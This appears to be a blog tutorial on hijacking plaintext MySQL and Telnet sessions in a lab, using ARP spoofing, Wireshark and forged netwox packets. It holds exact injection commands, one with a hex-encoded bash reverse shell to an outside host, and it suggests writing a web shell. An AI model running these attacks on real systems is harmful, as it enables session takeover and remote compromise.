Last month’s announcement about cleaning up mining activities got me thinking. External traffic monitoring detected malicious code being downloaded from a database using the MySQL protocol at a certain IP address.
Why can external traffic monitoring capture the executed payload?
The MySQL protocol transmits data in plaintext.
After investigation, no records of malicious SQL execution were found on the host. It is suspected that the payload traffic of arbitrary external attacks was captured, and the announcement was made without verifying if the attack was successful.
Since I like to explore the essence of problems, I used Wireshark to capture MySQL traffic and observed that, except for the password being transmitted encrypted, all other commands and results are transmitted in plaintext.
The MySQL protocol does not have any identity verification fields other than the command itself (similar to how the HTTP protocol relies on cookies for identity verification). Since the protocol itself does not perform identity verification, it must rely on the TCP protocol.
Verifying the hypothesis?
I conducted a simple experiment by constructing MySQL protocol packets using code.
Got packets out of order
The packet order was messed up. Therefore, when using the same MySQL connection in a multi-threaded environment, this error can also occur. The principle is the same. So, if we can obtain the seq and ack values in the TCP packets, can we forge packets and hijack the session?
Hijacking principle
Some application layer protocols do not guarantee security during transmission and rely solely on the TCP protocol layer to exchange seq and ack to verify the legitimacy of the session identity.
Five elements for successful TCP hijacking
Protocols like MySQL and Telnet use long-lived TCP connections during communication, so the source and destination ports on the client side remain fixed until the session is closed.
Previously, I mistakenly thought that the srcPort in forged packets could be arbitrarily specified, which led to unsuccessful forgery and the server returning RST.
Lessons learned
When forging packets, pay attention to the following parameters.
- Source port srcPort remains unchanged
- Destination port dstPort remains unchanged
- seq equals the ack of the last packet
- ack equals the next seq of the last packet (calculated automatically by Wireshark)
Disabling Relative sequence numbers in Wireshark
Wireshark calculates relative seq numbers by default, but we need to use the real seq and ack in our forged packets. Please disable this feature before the experiment. PS: I wasted a lot of time here!
Experimental environment
- VMware virtual machine environment
- Windows 7 target machine 192.168.25.132
- Kali Linux attack machine 192.168.25.133
- External Telnet, MySQL servers
- Wireshark, Netwox
ARP spoofing to capture communication packets
Use arpspoof on Kali to perform ARP spoofing on the target machine.
ARP spoofing successful.
Note: In a LAN environment, ARP spoofing is needed to capture communication packets from other hosts. However, using VMware virtual machines, which share a network card, allows you to capture all traffic directly.
Installing Netwox to send forged packets
On Kali
apt update && apt install -y netwox
On other Linux systems
wget https://zgao.top/download/netw-ib-ox-ag-5.39.0.tgz tar xvf netw-ib-ox-ag-5.39.0.tgz cd netw-ib-ox-ag-5.39.0/ ./installunix.sh
On Windows, download the link above, extract, and run the exe.
Implementing MySQL session hijacking
Connect to the MySQL server using the command line on the target machine.
Simultaneously, open Wireshark on Kali to capture the target machine’s communication traffic.
To forge packets, you must obtain several key parameters from the last communication packet in the TCP protocol.
The forged packet must match these four parameters from the last communication packet.
Sending forged packets on Kali
netwox 40 --ip4-ttl 64 --ip4-protocol 6 --ip4-src 192.168.25.132 --ip4-dst 43.129.188.117 --tcp-src 49163 --tcp-dst 3306 --tcp-seqnum 1599421786 --tcp-acknum 1757314041 --tcp-ack --tcp-psh --tcp-window 1024 --tcp-data "0f0000000373686f7720646174616261736573"
The –tcp-data part contains the MySQL query statement, which needs to be converted to hexadecimal.
Similarly, you can execute SQL statements to write a web shell to the database. There are many ways to exploit this. Just replace the –tcp-data part with the desired payload.
Implementing Telnet session hijacking
The method for hijacking Telnet is similar to MySQL. The target machine connects to the server using Telnet.
On Kali, filter Telnet protocol traffic using Wireshark and find the last communication packet.
Server nc listening on port using MySQL protocol
Kali hijacking and executing reverse shell command
netwox 40 --ip4-ttl 64 --ip4-protocol 6 --ip4-src 192.168.25.132 --ip4-dst 43.132.152.185 --tcp-src 49165 --tcp-dst 23 --tcp-seqnum 2772226064 --tcp-acknum 237070680 --tcp-ack --tcp-psh --tcp-window 1024 --tcp-data "62617368202d69203e26202f6465762f7463702f7a67616f2e746f702f3132333420303e26310d0a"
After encoding the command in hexadecimal, make sure to add
0d0ato indicate \r\n for a new line. This ensures the Telnet server executes the command!Key point
62617368202d69203e26202f6465762f7463702f7a67616f2e746f702f3132333420303e26310d0a
The server successfully executed the reverse shell.
Additional: Capturing Telnet plaintext passwords using the MySQL protocol
Capturing Telnet plaintext passwords via a man-in-the-middle attack is an old method, so most servers now use SSH protocol.
However, our focus here is not on sniffing Telnet passwords.
Divergent thinking
Since protocols like MySQL and Telnet, which use plaintext communication, can be subjected to TCP session hijacking through man-in-the-middle attacks, other plaintext protocols that rely on TCP for communication validation can also be hijacked in a similar manner. However, this is generally limited to man-in-the-middle attacks within a local area network, where the attacker can capture the communication packets to obtain the sequence (seq) and acknowledgment (ack) numbers.
So, what other ways can be used to capture communication traffic?
Internet Service Providers (ISPs). In the past, HTTP plaintext traffic was often intercepted and injected with advertisements because ISPs could capture HTTP packets and perform injection hijacking.
How can we prevent man-in-the-middle attacks from leading to TCP hijacking?
Application layer protocols should implement traffic encryption themselves, rather than relying solely on the TCP protocol for session identity verification.